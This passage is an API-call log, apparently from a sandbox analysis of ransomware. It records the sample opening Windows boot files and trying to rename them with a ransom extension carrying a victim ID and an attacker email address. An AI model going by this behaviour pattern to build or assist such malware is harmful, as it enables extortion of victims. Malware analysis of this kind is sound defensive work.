(lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.907] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=91712) returned 1 [0213.908] CloseHandle (hObject=0x1ac) returned 1 [0213.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0213.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0213.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0213.908] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.909] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.909] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=94800) returned 1 [0213.910] CloseHandle (hObject=0x1ac) returned 1 [0213.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0213.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0213.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0213.910] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.911] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.911] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=85056) returned 1 [0213.912] CloseHandle (hObject=0x1ac) returned 1 [0213.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0213.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0213.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0213.912] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.916] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.917] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=43600) returned 1 [0213.917] CloseHandle (hObject=0x1ac) returned 1 [0213.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0213.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0213.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0213.917] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.918] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.919] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=90192) returned 1 [0213.919] CloseHandle (hObject=0x1ac) returned 1 [0213.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0213.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0213.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0213.920] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.921] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.921] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=89152) returned 1 [0213.921] CloseHandle (hObject=0x1ac) returned 1 [0213.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0213.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0213.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0213.922] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.923] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0213.923] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3694080) returned 1 [0213.923] CloseHandle (hObject=0x1ac) returned 1 [0213.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0213.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0213.924] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0213.925] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.618] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3876772) returned 1 [0214.618] CloseHandle (hObject=0x1b8) returned 1 [0214.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0214.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0214.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0214.619] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.619] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2371360) returned 1 [0214.619] CloseHandle (hObject=0x1b8) returned 1 [0214.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0214.620] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0214.620] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0214.621] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.621] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=47452) returned 1 [0214.621] CloseHandle (hObject=0x1b8) returned 1 [0214.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0214.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0214.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.622] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.623] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.624] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=93248) returned 1 [0214.624] CloseHandle (hObject=0x1b8) returned 1 [0214.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0214.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0214.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.624] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.625] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.625] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=90688) returned 1 [0214.625] CloseHandle (hObject=0x1b8) returned 1 [0214.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0214.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0214.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.626] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.632] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.633] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=90704) returned 1 [0214.633] CloseHandle (hObject=0x1b8) returned 1 [0214.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0214.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0214.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.634] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.634] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.635] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=76352) returned 1 [0214.635] CloseHandle (hObject=0x1b8) returned 1 [0214.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0214.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0214.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.635] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.636] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.637] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=75344) returned 1 [0214.637] CloseHandle (hObject=0x1b8) returned 1 [0214.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0214.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0214.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.638] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.638] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.639] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=485760) returned 1 [0214.639] CloseHandle (hObject=0x1b8) returned 1 [0214.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0214.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0214.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\memtest.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.640] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.640] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.641] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=88144) returned 1 [0214.641] CloseHandle (hObject=0x1b8) returned 1 [0214.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0214.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0214.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.642] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.642] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.643] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=90704) returned 1 [0214.643] CloseHandle (hObject=0x1b8) returned 1 [0214.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0214.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0214.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.643] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.644] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.644] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=90704) returned 1 [0214.644] CloseHandle (hObject=0x1b8) returned 1 [0214.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0214.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0214.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.645] CreateFileW 